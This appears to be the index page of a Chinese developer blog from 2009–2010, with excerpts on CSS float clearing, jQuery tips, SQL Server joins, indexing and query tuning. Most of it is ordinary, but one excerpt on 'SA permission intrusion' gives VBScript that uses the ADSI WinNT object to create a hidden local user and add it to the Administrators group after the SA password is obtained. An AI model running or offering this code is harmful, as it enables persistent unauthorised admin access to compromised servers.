Name:蹲地猫MSN:kikicat0226@hotmail.com
QQ:372517990
图片边框样式设置
Post by 蹲地猫, 2010-3-5, Views:
浅灰色区域: 通过设置图片的border来改变深灰色区域: 宽度设置图片的padding来调整, 颜色设置background-color
父层div不根据子内容自适应高度的解决方法
Post by 蹲地猫, 2010-1-9, Views:用DIV+CSS布局网站,经常会碰到区块错位问题,大部分是未设置高度引起的(除ie外的浏览器不设置默认高度),当内容增多时,在ie下可以随着内容增多自动增高高度,对其设置的属性如背景等可以正常显示,但是在firefox下如果不设置高度,高度就为0。
可以通过四种方法解决问题:
1. 额外标签法
这种方法就是向父容器的末尾再插入一个额外的标签,并令其清除浮动(clear)以撑大父容器。这种方法浏览器兼容性好,没有什么问题,缺点就是需要额外的(而且通常是无语义的)标签。
2. 使用after伪类
这种方法就是对父容器使用after伪类和内容声明在指定的现在内容末尾添加新的内容。经常的做法就是添加一个“点”,因为它比较小不太引人注意。然后我们再利用它来清除浮动(闭合浮动元素),并隐藏这个内容。
3.设置overflow为hidden或者auto
这种做法就是将父容器的overflow设为hidden或auto就可以在标准兼容浏览器中闭合浮动元素.
4.浮动外部元素,float-in-float
这种做法就是让父容器也浮动,这利用到了浮动元素的一个特性——浮动元素会闭合浮动元素。这种方式在 IE/Win 和标准兼容浏览器中都有较好的效果,但缺点也很明显——父容器未必想浮动就浮动的了,毕竟浮动是一种比较特殊的行为,有时布局不允许其浮动也很正常。
14条改善jQuery代码的技巧
Post by 蹲地猫, 2009-12-13, Views:jQuery简单易学,但如果你想写出更漂亮更简洁高效的代码,总需要一些技巧。本文就为你总结了14条改善jQuery代码的技巧。
1.测试并提升你的jQuery选择器水平
2.测试jQuery包装集是否包含某些元素
3.从jquery.org读取jQuery最新版本
4.存储数据
5.jQuery手册常备身边
6.在FireBug控制台记录jQuery
7.尽可能使用ID选择器
8.善于利用jQuery链
9.绑定jQuery函数到$(window).load事件
10.使用jQuery链来限定选择器,让你的代码更简洁更优雅
11.使用回调函数同步效果
12.学会使用自定义选择器
13.预加载图片
14.将你的代码测试完好
SQL Server数据库连接查询的种类及其应用
Post by 蹲地猫, 2009-12-11, Views:在数据库开发方面,通过单表所表现的实现,有时候需要组合查询来找到我们需要的记录集,这时候我们就会用到连接查询。连接查询主要包括以下几个方面:
内连接
一般是我们最常使用的,也叫自然连接,是用比较运算符比较要联接列的值的联接。它是通过(INNER JOIN或者JOIN)关键字把多表进行连接。
外链接
外连接主要包括左连接、右连接和完整外部连接。
交叉连接
交叉连接(CROSS JOIN),就是指不带W H E R E子句的查询。在数学上,就是表的笛卡尔积。也就是它查询出来的记录数行为两个表的乘积,对应记录也就是为表A*表B。
SQL Server快速获取表的记录总数
Post by 蹲地猫, 2009-12-11, Views:在数据库应用的设计中,我们往往会需要获取某些表的记录总数,用于判断表的记录总数是否过大,是否需要备份数据等。我们通常的做法是:select count(*) as c from tableA 。然而对于记录数巨大的表,上述做法将会非常耗时。在DELL 4400服务器上做试验,MS Sqlserver 2000 数据库对于100万记录的简单数据表执行上述语句,时间在1分钟以上。
如果在表的某个字段上做聚簇索引,第一次执行该语句的时间和没有索引的时间差不多,之后执行上述语句,速度很快,在1秒中以内,但当表的记录数发生较大变化后,再执行该语句又会经历一次耗时的过程。而且不是每个表都适合做聚簇索引的,对于数量巨大的表,如果需要经常增删操作,建聚簇索引是一个很不明智的做法,将会极大的影响增删的速度。那么有没有一个比较简单的方法快速获取表的记录总数呢?答案是有的。
利用索引提高SQL Server数据处理的效率
Post by 蹲地猫, 2009-12-11, Views:在良好的数据库设计基础上,能有效地使用索引是SQL Server取得高性能的基础,SQL Server采用基于代价的优化模型,它对每一个提交的有关表的查询,决定是否使用索引或用哪一个索引。因为查询执行的大部分开销是磁盘I/O,使用索引提高性能的一个主要目标是避免全表扫描,因为全表扫描需要从磁盘上读表的每一个数据页,如果有索引指向数据值,则查询只需读几次磁盘就可以了。
所以如果建立了合理的索引,优化器就能利用索引加速数据的查询过程。但是,索引并不总是提高系统的性能,在增、删、改操作中索引的存在会增加一定的工作量,因此,在适当的地方增加适当的索引并从不合理的地方删除次优的索引,将有助于优化那些性能较差的SQL Server应用。实践表明,合理的索引设计是建立在对各种查询的分析和预测上的,只有正确地使索引与程序结合起来,才能产生最佳的优化方案。本文就SQL Server索引的性能问题进行了一些分析和实践。
Javascript遍历xml文件并批量导入数据库碰到的问题
Post by 蹲地猫, 2009-7-22, Views:程序实际运行中发现,跑了一百多条代码(param3),存到数据库中的数据只有十几条,看样是Ajax异步处理的问题。
最开始想在Ajax处理一个xml完毕后,对文档中的一个<div id="aa">设置text(),在fc.moveNext()时先用$("#aa").text()判断div是否为空,不为空时继续循环,并在下次循环开始前清空div,进入文件夹下下一个xml的处理。可是实际上,$("#aa").text()获得的值一直为空,变成了死循环。
很奇怪,程序结束后,可以看到Ajax处理完成后给div的text()的内容,但是用$("#aa").text()查看却为空。这个地方还需要查查资料多测试一下。
这个方法不行,又考虑采用以前导入html的方法,将文件内容读到当前页面上,用DOM直接进行操作,通过document.getElementsByTagName("标签名")[0].firstChild.nodeValue来取得文件中的数据,可是,操作中又发现新问题。xml文件中都是采用自定义标签,IE下对自定义标签的属性方法支持不是很好,对.firstChild.nodeValue不支持。Firefox浏览器下就没有问题,不过firefox对于fso这种涉及到本地安全性的问题很敏感。所以两者不能兼得,这个方案也不行。
如何优化SQL Server数据库查询
Post by 蹲地猫, 2009-7-16, Views:查询速度慢的原因很多,常见如下几种:
1、没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷)
2、I/O吞吐量小,形成了瓶颈效应。
3、没有创建计算列导致查询不优化。
4、内存不足
5、网络速度慢
6、查询出的数据量过大(可以采用多次查询,其他的方法降低数据量)
7、锁或者死锁(这也是查询慢最常见的问题,是程序设计的缺陷)
8、sp_lock,sp_who,活动的用户查看,原因是读写竞争资源。
...
最新Microsoft SQL Server SA权限入侵方法
Post by 蹲地猫, 2009-7-16, Views:在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
未来5年开发人员必需的10项技能
Post by 蹲地猫, 2009-7-16, Views:由于最近经济形势的变化,很多开发人员关注于短期的工作前景。与此同时,保证自己把时间和精力用于学习最能带来回报的新技术上也是件非常重要的事情。这里是我们列举了10种你需要马上开始学习的技术,能让你的简历在未来5年不会落伍。当然,这个列表并不完全,有很多业界的领域没有涉及到(比如大型机开发人员)。尽管如此,对通常的主流开发来说,学习其中至少7项技能肯定不会错 ——不但要达到能在面试时侃侃而谈的程度,还得能在工作中运用自如。
...
New Articles
- [03/05]图片边框样式设置
- [01/09]父层div不根据子内容自适应高度的解决方法
- [12/13]14条改善jQuery代码的技巧
- [12/11]SQL Server数据库连接查询的种类及其应用
- [12/11]SQL Server快速获取表的记录总数
- [12/11]利用索引提高SQL Server数据处理的效率
- [07/22]Javascript遍历xml文件并批量导入数据库碰到的问题
- [07/16]如何优化SQL Server数据库查询
- [07/16]最新Microsoft SQL Server SA权限入侵方法
- [07/16]未来5年开发人员必需的10项技能
- [07/14]语义化的HTML结构到底有什么好处?
- [07/10]修改系统密码导致SQLServer登录不了的解决方法
- [07/09]SQL快马加鞭
- [07/09]学会使用display:inline和clear:both
- [04/13]用jQuery和JSON创建三级联动菜单





